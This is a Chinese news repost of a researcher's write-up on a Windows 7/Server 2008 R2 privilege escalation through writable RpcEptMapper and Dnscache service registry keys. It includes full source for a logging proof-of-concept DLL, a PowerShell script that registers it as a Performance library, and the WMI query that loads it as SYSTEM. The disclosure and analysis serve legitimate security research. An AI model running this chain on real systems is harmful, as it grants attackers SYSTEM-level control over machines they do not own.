本文主要是介绍我偶然发现一个严重 0day,影响 Win7 和 Server 2008 R2,微软未发补丁(详情),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士团队
法国安全研究员 Clément Labro在更新一款 Windows 安全工具时,偶然发现一个影响 Windows 7 和 Windows Server 2008 R2 操作系统的 0day。从“漏洞详情”部分开始的内容节选自 Labro 的博客文章。
一、漏洞概述
该0day 位于两个配置不当的 RPC Endpoint Mapper 和 DNSCache 服务的注册表键值中,它们是所有 Windows 安装程序的一部分:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
Clément Labro 表示,在易受攻击系统上立稳脚跟的攻击者能够修改这些注册表键值,激活通常由 Windows 性能监控 (Performance Monitoring) 机制应用的一个子键值。
“Performance“子键值通常用于监控一款 app 的性能,而且,它们的角色使得开发人员可以加载自己的 DLL 文件,从而使用自定义工具来追踪性能情况。
在最近发布的 Windows 版本中,这些 DLL 通常是受限的,而且权限有限。Labro 表示在 Windows 7 和 Windows Server 2008 上,仍然可以加载以系统权限运行的自定义 DLL。
但是,虽然多数安全研究员发现这类严重漏洞后会私下告知微软,但对于 Labro 的案例而言,已然来不及了。
Labro 表示他发布 PrivescCheck 的更新后发现了这个 0day。PrivescCheck 是一款用于检查常见 Windows 安全配置不当问题的工具,可被恶意软件滥用于提升权限。
该更新发布于上个月,Labro 增加了对提权技术的一些新的检查支持。
Labro 表示,更新发布几天后,当他开始调查出现在老旧系统如 Windows 7 上出现的一系列警告信息时,才了解到这些新检查发现了一种新的未修复的提权方法。但一切为时已晚,Labro 已无法将问题私下告知微软,而是选择在自己的博客站点上关闭了关于这一新方法的文章。
截至本文发布时,微软尚未就此事置评。
Windows 7 和 Windows Server 2008 R2 均已到达生命周期,微软已停止发布免费的安全更新。虽然 Windows 7 用户仍然可以通过微软的 ESU (延期支持更新)付费支持计划来应用安全更新,但补丁尚未正式发布。
目前尚不清楚微软是否计划修复 Labro 发现的这个新 0day;然而,ACROS Security 公司已发布微补丁,并已于今天早些时候发布。该微补丁是通过 0patch 安全软件安装的,以阻止恶意人员通过 ACROPS 的非官方补丁利用该漏洞。
微补丁地址:https://blog.0patch.com/2020/11/0day-in-windows-7-and-server-2008-r2.html
二、漏洞详情
上下文介绍
今年年初,我开始着手开发一个提权枚举脚本 PrivescCheck。这个想法源于著名的 PowerUp 工具实现的工作以及我实现的一些检查。我想通过这一脚本快速地枚举初因系统配置不当造成的潜在漏洞,但实际上它带来了意想不到的结果,它让我发现了位于 Windows 7/ Server 2008 R2 中的一个 0day。
在完全修复的 Windows 设备中,可导致本地提权后果的主要安全问题之一是服务配置不当。如果普通用户能够修改一个已有服务,那么他/她就能在 LOCAL/NETWORK SERVICE 甚至是 LOCAL SYSTEM 的上下文中执行任意代码。一些最常见的漏洞如下:
服务控制管理器(SCM):低权限用户可通过 SCM 获得服务的具体权限。
二进制权限:一般的 Windows 服务通常会有一个命令行。如果你能修改相应的可执行文件,那么你实际上就能在该服务的安全上下文中执行任意命令。
未引用路径:该问题和 Windows 解析命令行的方式有关。
Phantom DLL 劫持:即使在 Windows 的默认安装程序下,某些内置服务也试图加载并不存在的 DLL,从而导致服务遭劫持。
PowerUp 目前已经对上述问题进行相应的检查,但还可能产生另外一个配置不当的情况:注册表。通常,当你创建服务时,会通过内置命令 sc.exe,以管理员省份调用 SCM。这样就可以服务的名义在 HKLM\SYSTEM\CurrentControlSet\Services中创建一个子键值,而所有的设置(命令行、用户等)都会保存在这个子键值中。因此,如果这些设置由 SCM 管理,那么它们默认应该是安全的。至少,我是这么以为的……
检查注册表权限
PowerUp 的一个核心函数是 Get-ModifiablePath。该函数的基本理念是提供一种检查当前用户是否可以以任何方式修改文件或文件夹的通用方法。它首先解析目标对象的 ACL,然而将其和通过所有它所属组的当前用户账户的权限进行对比。尽管这一原则原来是为文件和文件夹实现的,但注册表键值也是安全的对象。因此,我们可以实现一个类似函数,检查当前用户在注册表键上是否具有任何写权限。这就是我所做的,因此我增加了一个新的核心函数:Get-ModifiableRegistryPath。
之后,对可修改的相对应于 Windows 服务的注册表键执行检查:轻松如调用路径 Registry::HKLM\SYSTEM\CurrentControlSet\Services 上的 PowerShell 命令:Get-ChildItem。这一结果可被输送到新的命令 ModifiableRegistryPath 中,这就是全部的工作。
当我需要执行新的检查时,我会使用一台 Windows 10 设备,而且我也会使用同样的机器执行初次检查,查看一切是否如常工作。如果代码是稳定的,那么我会将测试延伸到其它的一些 Windows 虚拟机中,确保它仍然和 PowerShell v2 兼容以及它仍然可在老旧系统上运行。我最常使用的操作系统是 Windows 7、Windows 2008 R2 和 Windows Server 2012 R2。
当我在 Windows 10 默认安装下运行更新脚本时,它未返回任何结果,这正是我所期待的结果。但之后在 Windows 7 上运行后,我发现了如下情况:
由于我认为不会返回任何结果,因此刚开始以为这些结果是误报,我可能在执行过程中搞砸了一些内容。但在仔细观察结果后……
是误报吗?
从脚本的输出来看,当前用户在两个注册表键上具有一些写权限:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache
我们通过 regedit GUI 来手动检查下 RpcEptMapper 服务的权限。我最喜欢高级安全设置窗口的一点是它的 Effective Permissions 标签。你可以选择任何用户或组名称,无需分别检查所有的 ACE 就能看到所授予的有效权限。如下截图是低权限 lab-user 账户的结果。
虽然多数权限是标准权限,但有一个引起了我的注意 Create Subkey。该权限相对应的通用名称是 AppendData/AddSubdirectory,而这正是脚本所报告的:
Name : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : NT AUTHORITY\Authenticated Users
Permissions : {ReadControl, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status : Running
UserCanStart : True
UserCanRestart : FalseName : RpcEptMapper
ImagePath : C:\Windows\system32\svchost.exe -k RPCSS
User : NT AUTHORITY\NetworkService
ModifiablePath : {Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcEptMapper}
IdentityReference : BUILTIN\Users
Permissions : {WriteExtendedAttributes, AppendData/AddSubdirectory, ReadData/ListDirectory}
Status : Running
UserCanStart : True
UserCanRestart : False
这到底是什么意思?它意味着我们无法修改 ImagePath 值。为此,我们需要 WriteData/AddFile 权限。因此我们只能创建一个新的子键。
这意味着它真的是一个误报吗?当然不是。真正有趣的部分来了!
RTFM
此时,我们了解到我们可以在 HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper 下创建任意子键,但我们无法修改已有子键和值。这些已有的子键是 Parameters 和 Security,它们在 Windows 服务中很常见:
因此,我想到的第一个问题是:是否存在其它预定义子键如 Parameters 和 Security,供我们修改服务配置并以某种方式更改它的行为?
为回答这个问题,我的第一个计划是枚举所有的已有键值并试图找到一个模式。我的想法是查看哪些子键对于服务的配置是有意义的。我开始思考如何在 PowerShell 中实现这一点并得出结果。不过我首先想到的是这个注册表结果是否已经记录在案。于是我在谷歌上搜索了一些内容如 windows service configuration registry site:microsoft.com,得出的第一个结果是:
看起来有戏。第一眼扫过去,这个文档似乎并不详尽全面。从题目来看,我希望看到的是关于所有子键和值的详细的树状结构,定义服务的配置,但实际上并非如此。
不过我还是快速浏览了下每个段落。很快我发现了关键字 Performance 和 DLL。在子标题 Performance 下面的内容是:
Performance:这个表键知名可选性能监控信息。该表键下的值知名驱动性能DLL的名称以及DLL中所导出的某些函数的名称。你可使用驱动 INF 文件中的 AddReg 条目向这个子键添加值条目。
从这一小段中可知,从理论上来讲我们可以在驱动服务中注册一个 DLL,根据 Performance 子键来监控其性能。这就有意思了!在默认情况下,RpcEptMapper 服务中并不存在该键,因此看似它正是我们所需要的。不过有个小问题,该服务并非驱动服务。不管怎样,值得一试,不过首先需要关于这个“性能监控”的更多信息。
说明:在 Windows 中,每种服务都具有给定的 Type。服务类型可以是如下值中的一种:SERVICE_KERNEL_DRIVER (1)、SERVICE_FILE_SYSTEM_DRIVER (2)、SERVICE_ADAPTER (4)、SERVICE_RECOGNIZER_DRIVER (8)、SERVICE_WIN32_OWN_PROCESS (16)、SERVICE_WIN32_SHARE_PROCESS (32) 或 SERVICE_INTERACTIVE_PROCESS (256)。
在谷歌上搜索后,我在文档中发现了相关资源:
(文档地址:https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key)
首先,文档给出了一个很好的树状结构,列出了所有我们需要创建的键值。之后,描述中还给出了如下表键信息:
Library 值可包含一个 DLL 名称或 DLL 的完整路径。
Open、Collect 和 Close 值允许你指定应由 DLL 导出的函数的名称。
这些值的数据类型是 REG_SZ(或者 Library 值甚至是 REG_EXPAND_SZ)。
如果打开文内链接,你甚至会找到这些函数的原型以及一些代码样本:
(Implementing OpenPerformanceData: https://docs.microsoft.com/en-us/windows/win32/perfctrs/implementing-openperformancedata)
DWORD APIENTRY OpenPerfData(LPWSTR pContext);
DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
DWORD APIENTRY ClosePerfData();
好了,理论上的准备足够了,写代码的时间到了!
三、PoC
写一个 PoC
感谢整个文档所提供的所有所需信息,写一个简单的 PoC DLL 应该。但我们仍然需要一个计划!
当我需要利用某种 DLL 劫持漏洞时,通常会以一个简单和自定义的日志帮助函数。整个函数的目的是,在引用文件时在文件中写入某些关键信息。一般而言,我记录当前进程的 PID 以及父进程、运行进程和相对应命令行的用户名称。我还记录了触发该日志事件的函数名称。这样我就能直到代码是如何执行的。
我在其它文章中,总是跳过开发部分,因为我认为多多少少是明显可知的。但是为了表现对入门者的友好,又与上述说法是矛盾的。于是我总会通过对进程的详述进行弥补。所以,我们首先打开 Visual Studio 并创建一个新的 “C++ Console APP” 项目。注意,我本可以创建一个 “Dynamic-Link Library (DLL)” 项目,但我发现从控制台 app 开始实际上更容易。
如下是由 Visual Studio 生成的初始代码:
#include <iostream>int main()
{std::cout << "Hello World!\n";
}
当然,这并非我们想要的。我们想要创建一个 DLL 而非 EXE,因此我们必须用 DllMain 来替代 main 函数。我们可从文档中找到该函数的大概代码:(文档:Initialize a DLL https://docs.microsoft.com/en-us/cpp/build/run-time-library-behavior?view=msvc-160#initialize-a-dll)
#include <Windows.h>extern "C" BOOL WINAPI DllMain(HINSTANCE const instance, DWORD const reason, LPVOID const reserved)
{switch (reason){case DLL_PROCESS_ATTACH:Log(L"DllMain"); // See log helper function belowbreak;case DLL_THREAD_ATTACH:break;case DLL_THREAD_DETACH:break;case DLL_PROCESS_DETACH:break;}return TRUE;
}
与此同时,我们还需要修改该项目的设置,规定输出的编译文件应该是 DLL 而非 EXE。为此,你可以打开项目属性,并在“General” 部分,选择 “Dynamic Library (.dll)” 作为”Configuration Type”。在标题栏下,你可以选择“ All Configurations” 和 “All Platforms”,将这个设置应用到全局。
接着,我添加了自定义的日志帮助函数:
#include <Lmcons.h> // UNLEN + GetUserName
#include <tlhelp32.h> // CreateToolhelp32Snapshot()
#include <strsafe.h>void Log(LPCWSTR pwszCallingFrom)
{LPWSTR pwszBuffer, pwszCommandLine;WCHAR wszUsername[UNLEN + 1] = { 0 };SYSTEMTIME st = { 0 };HANDLE hToolhelpSnapshot;PROCESSENTRY32 stProcessEntry = { 0 };DWORD dwPcbBuffer = UNLEN, dwBytesWritten = 0, dwProcessId = 0, dwParentProcessId = 0, dwBufSize = 0;BOOL bResult = FALSE;// Get the command line of the current processpwszCommandLine = GetCommandLine();// Get the name of the process ownerGetUserName(wszUsername, &dwPcbBuffer);// Get the PID of the current processdwProcessId = GetCurrentProcessId();// Get the PID of the parent processhToolhelpSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);stProcessEntry.dwSize = sizeof(PROCESSENTRY32);if (Process32First(hToolhelpSnapshot, &stProcessEntry)) {do {if (stProcessEntry.th32ProcessID == dwProcessId) {dwParentProcessId = stProcessEntry.th32ParentProcessID;break;}} while (Process32Next(hToolhelpSnapshot, &stProcessEntry));}CloseHandle(hToolhelpSnapshot);// Get the current date and timeGetLocalTime(&st);// Prepare the output string and log the resultdwBufSize = 4096 * sizeof(WCHAR);pwszBuffer = (LPWSTR)malloc(dwBufSize);if (pwszBuffer){StringCchPrintf(pwszBuffer, dwBufSize, L"[%.2u:%.2u:%.2u] - PID=%d - PPID=%d - USER='%s' - CMD='%s' - METHOD='%s'\r\n",st.wHour,st.wMinute,st.wSecond,dwProcessId,dwParentProcessId,wszUsername,pwszCommandLine,pwszCallingFrom);LogToFile(L"C:\\LOGS\\RpcEptMapperPoc.log", pwszBuffer);free(pwszBuffer);}
}
接着,我们可以用文档中看到的三个函数填充 DLL。文档还表示如成功,则应返回 ERROR_SUCCESS。
DWORD APIENTRY OpenPerfData(LPWSTR pContext)
{Log(L"OpenPerfData");return ERROR_SUCCESS;
}DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned)
{Log(L"CollectPerfData");return ERROR_SUCCESS;
}DWORD APIENTRY ClosePerfData()
{Log(L"ClosePerfData");return ERROR_SUCCESS;
}
好了,项目已正确配置,执行了 DllMain,有了日志帮助函数以及三个所要求的函数。不过还差一件事。如果我们编译该代码,则 OpenPerfData、CollectPerfData 和 ClosePerfData 就会只成为内部函数,因此我们需要导出它们。我们可通过多种方式实现。例如,你可以创建一个 DEF 文件,之后正确地配置该项目。不过,我选择使用 _declspec(dllexport) 关键字,尤其是对于这种小项目而言更是如此。这样,我们只需要在源代码开头声明这三个函数即可。
extern "C" __declspec(dllexport) DWORD APIENTRY OpenPerfData(LPWSTR pContext);
extern "C" __declspec(dllexport) DWORD APIENTRY CollectPerfData(LPWSTR pQuery, PVOID* ppData, LPDWORD pcbData, LPDWORD pObjectsReturned);
extern "C" __declspec(dllexport) DWORD APIENTRY ClosePerfData();
全部源代码可见:
https://gist.github.com/itm4n/253c5937f9b3408b390d51ac068a4d12
最后,我们选择了 Release/x64 和 Build the solution。这样就可以生成 DLL 文件:
.\DllRpcEndpointMapperPoc\x64\Release\DllRpcEndpointMapperPoc.dll
测试 PoC
进行下一步之前,我总是会先单独测试,确保 payload 正常工作。这里花点时间,后续会节约很多时间,不必在调试阶段手忙脚乱。为此,我们只需使用 rund1132.exe 并将 DLL 的名称和导出函数的名称传递为参数即可。
C:\Users\lab-user\Downloads\>rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData
不错,日志文件已创建。如果我们打开它,就能看到两个条目。当 DLL 由 rundll32.exe 加载时,第一个条目写入。当调用 OpenPerfData 时就会写入第二个。看起来不错!
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='DllMain'
[21:25:34] - PID=3040 - PPID=2964 - USER='lab-user' - CMD='rundll32 DllRpcEndpointMapperPoc.dll,OpenPerfData' - METHOD='OpenPerfData'
现在我们可以集中于真正的漏洞了。首先开始创建所需注册表键值。可以手动使用 reg.exe/regedit.exe 完成,或者通过程序以脚本的方式完成。由于在初始研究时已经详述了手动步骤,因此这次将会通过一个 PowerShell 脚本完成。另外,在 PowerShell 中创建注册表键值和调用 New-Item 以及 New-ItemProperty 一样容易,不是吗?
Requested registry access is not allowed……好吧,看起来没那么容易。
我确实并没有调查这个问题,但我猜测是因为当我们调用 New-Item时,powershell.exe 实际上试图打开父注册表键,而我们并没有和权限相对应的它的某些标记。
不管怎样,如果内置 cmdlets不成功,那么我们可以降一个级别并直接调用 DotNet 函数。确实,也可以通过如下代码在PowerShell 中创建注册表键:
[Microsoft.Win32.Registry]::LocalMachine.CreateSubKey("SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance")
终于!最后,我把如下脚本连在一起,创建正确的表键和值,等待某些用户输入并通过清空最终终止。
$ServiceKey = "SYSTEM\CurrentControlSet\Services\RpcEptMapper\Performance"Write-Host "[*] Create 'Performance' subkey"
[void] [Microsoft.Win32.Registry]::LocalMachine.CreateSubKey($ServiceKey)
Write-Host "[*] Create 'Library' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Value "$($pwd)\DllRpcEndpointMapperPoc.dll" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Open' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Value "OpenPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Collect' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Value "CollectPerfData" -PropertyType "String" -Force | Out-Null
Write-Host "[*] Create 'Close' value"
New-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Value "ClosePerfData" -PropertyType "String" -Force | Out-NullRead-Host -Prompt "Press any key to continue"Write-Host "[*] Cleanup"
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Library" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Open" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Collect" -Force
Remove-ItemProperty -Path "HKLM:$($ServiceKey)" -Name "Close" -Force
[Microsoft.Win32.Registry]::LocalMachine.DeleteSubKey($ServiceKey)
现在是最后一步了,如何诱骗 RPC Endpoint Mapper 服务加载我们的 Performance DLL 呢?遗憾的是,我们并未一直追踪所尝试的一切不同的内容。本文说明了有时候研究是多么繁复耗时。我发现我们可以通过 WMI (Windows Management Instrumentation) 查询 Performance Counters,不过这也没什么稀奇的。更多信息可见 WMI Performance Counter Types (https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-performance-counter-types)
计数器类型在Win32_PerfRawData类中显示为属性的CounterType限定符,在Win32_PerfFormattedData类中显示为属性的CookingType限定符。
于是,我首先通过如下命令在 PowerShell 中枚举了和 Performance Data 相关的 WMI 类。
Get-WmiObject -List | Where-Object { $_.Name -Like "Win32_Perf*" }
并且,我发现日志文件几乎马上就创建了!如下是文件内容。
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='DllMain'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='OpenPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
[21:17:49] - PID=4904 - PPID=664 - USER='SYSTEM' - CMD='C:\Windows\system32\wbem\wmiprvse.exe' - METHOD='CollectPerfData'
我所期待的是,最多再 RpcEptMapper 服务的上下文中以 NETWORK SERVICE 身份执行任意代码,但现在得到的结果似乎更好。我实际上在 WMI 服务本身上下文中执行任意代码,它以本地系统权限运行。好酷,对不?!
说明:如果我以 NETWORK SERVICE 身份执行任意代码,那么通过 James Forshaw 在几个月前介绍的技术 (https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html),我离本地系统账户仅有一步之遥。
我还尝试分别获得每个 WMI 类,并得到了同样的结果。
Get-WmiObject Win32_Perf
Get-WmiObject Win32_PerfRawData
Get-WmiObject Win32_PerfFormattedData
四、结论
我不清楚为何在这么长的时间里,这个漏洞也未被发现。一种解释是其它工具很可能在注册表中查找的是完整的写权限,而 AppendData/AddSubdirectory 在本案例中就足够了。关于“配置不当“本身,我认为该注册表键设置为这种方式是有原因的,尽管我想不到某种具体的场景,其中用户具有修改服务配置的任何权限。
我决定公开这个漏洞的原因有二。第一,我实际上是在不知情的情况下公开的,几个月前的那天我通过 GetModfiableRegistryPath 函数更新 PrivescCheck 脚本时实际上已经公开了。第二,它的影响较低。它要求获得本地访问权限,而且仅影响已不再受支持的 Windows 老旧版本(除非你购买了延期服务才可接收到支持)。如果你没有在网络中正确隔离 Windows 7/ Server 2008 R2 就使用它们,那么阻止攻击者获得系统权限可能是你最不会担心的事情。
除了发现这个提权漏洞的偶然性外,我认为这个 Performance 注册表仍然为利用后、横向移动和 AV/EDR 逃避提供了非常好的机会。我脑海中实际上已经出现了一些特定的场景,不过尚未进行测试。或许,期待后续吧……
参考链接和资源
GitHub - PrivescCheck
https://github.com/itm4n/PrivescCheckGitHub - PowerUp
https://github.com/HarmJ0y/PowerUpMicrosoft - “HKLM\SYSTEM\CurrentControlSet\Services Registry Tree”
https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-treeMicrosoft - Creating the Application’s Performance Key
https://docs.microsoft.com/en-us/windows/win32/perfctrs/creating-the-applications-performance-key
推荐阅读
已遭利用的微软0day CVE-2020-1464,原来是两年前的老相识
微软补丁星期二修复120个漏洞,含2个已遭利用的 0day
我发现了25个影响力达20多年的 Windows 0day,微软刚修完11个
微软3月补丁星期二最值得注意的是CVE-2020-0684和神秘0day CVE-2020-0796
微软2月修复99个漏洞,含1个 0day
原文链接
https://www.zdnet.com/article/security-researcher-accidentally-discloses-windows-7-and-windows-server-2008-zero-day/
https://itm4n.github.io/windows-registry-rpceptmapper-eop/
题图:Pixabay License
本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
觉得不错,就点个 “在看” 或 "赞” 吧~
这篇关于我偶然发现一个严重 0day,影响 Win7 和 Server 2008 R2,微软未发补丁(详情)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!